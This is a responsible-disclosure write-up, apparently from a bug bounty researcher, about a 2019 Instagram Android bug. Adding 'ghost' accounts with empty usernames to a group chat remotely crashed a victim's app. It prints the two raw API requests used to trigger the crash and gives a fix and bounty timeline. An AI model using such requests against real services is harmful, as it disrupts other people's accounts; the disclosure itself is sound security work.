Intro
On April 2019, I had the fool idea of testing Facebook security (and more specifically Instagram security), after I got informed that the company enabled a new setting on their assets (called Whitehat Settings), making easier for researchers to discover new vulnerabilities (pinning was not a problem, I am just a bit lazy sometimes :P). During my initial research, I concluded that Instagram uses a simple incremental PKID in its database to define user accounts on the platform, therefore I got curious to establish which were the first accounts created on the social network. Well, one of the first accounts (I am not sure if PKID was 3 or 4), belongs to Mike Krieger (one of the Instagram co-founders).
Yeah kind of obvious… However what about the first and second Instagram accounts (PKID = 1 & PKID=2)? They were a bit unusual, as they were associated to an ID, but moreover their username was not populated: more precisely their username field contained an empty string (“”), and I was almost certain this behavior could have created some issues. My idea is that those accounts were created during the initial testing phases of Instagram, when it was nothing more than an alpha release. Furthermore, I was wondering why they were still not removed after all this time? No response to this doubt though. From here on in, let’s call them ghost users 😯
And going back to us, empty strings could be dangerous sometimes if not properly managed by server-side code: in fact my first idea was to find a way to make the Instagram application to crash, by exploiting bad parsing of the malformed data. However, it was even more interesting to find a way to remotely crash other Instagram accounts.
Navigating through the several Instagram features (Instagram has less features than Facebook but it is pretty huge the same), I found one suitable for the case: group thread creation in Instagram messages tab: in fact, it is possible to create chat group in Instagram with other accounts. Specifically the endpoint to perform the action is:
/api/v1/direct_v2/create_group_thread/
Exploiting
Technical details
Bug testing was performed on a Samsung Galaxy S8+ with Android version equals to 8.0 and exploitation phase was very trivial.
To try exploiting the empty string issue, I started by creating a simple group together with one test user. Following a sample request:
POST /api/v1/direct_v2/create_group_thread/ HTTP/1.1 User-Agent: Instagram .... Accept-Language: en-US Cookie: urlgen= .... Accept-Encoding: gzip, deflate Host:i.instagram.com X-FB-HTTP-Engine: Liger Connection: close Content-Length: 353 signed_body=d963d5f048924a58712d8bcf7912ac76a7c3c990199c7d59ac25e7990e142f49.{"recipient_users":"[xxxxxxxxxx]","_csrftoken":"WBpZmckmENi6eiubd26Osz6SIR3vtowu","thread_title":"bdbdbdbdbdxb","_uid":"12579513534","_uuid":"d18570eb-0663-40f4-bcc3-0c48a5031cee"}&ig_sig_key_version=4
The important piece here is the recipient_users JSON parameter which was populated with the victim instagram ID. Subsequently, I added one of the ghost user to the existing group using another API endpoint:
POST /api/v1/direct_v2/threads/yyyyyyyyyy/add_user/ HTTP/1.1 User-Agent: Instagram .... Accept-Language: en-US Cookie: urlgen= .... Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Host:i.instagram.com X-FB-HTTP-Engine: Liger Connection: close Content-Length: 109 _csrftoken=Pod4ZKSSLYUYMPs2TxhN5Xkmsv6xUOsO&user_ids=["2"]&_uuid=d18570eb-0663-40f4-bcc3-0c48a5031cee
In the above request, yyyyyyyyyy represents the ID of the just created group thread (obtained from the response of the previous API call) and the user_ids array was populated with the value 2 (the PKID of one of the ghost users).
After the second request, the victim’s android Instagram application suddenly crashed, and the user is forced to be manually removed from the group to use it again!
This was probably caused by a JSON parsing exception of the empty string in the ghost user’s username. Below an example of the stacktrace resulting from the crash:
Impact
Exploiting this bug, it would have been possible to remotely crash any Instagram android user just by adding them on a common group thread having the ghost user as member. I noticed that no request had to be accepted by your Instagram followers (turning it in a zero-click exploit for them), but the “joining group” request had to be accepted by users not following the attacker.
PoC
Timeline
- 10 Apr. 2019 – Contacted Facebook Whitehat Team regarding the bug
- 12 Apr. 2019 – More information requested by Facebook
- 02 May. 2019 / 09 Sep. 2019 – Various email exchanged between the researcher and Facebook. Final bug acknowledgement
- 09 Sep. 2019 – Bug was fixed
- 10 Sep. 2019 – Bounty awarded
- 12 Sep. 2019 – Bug was disclosed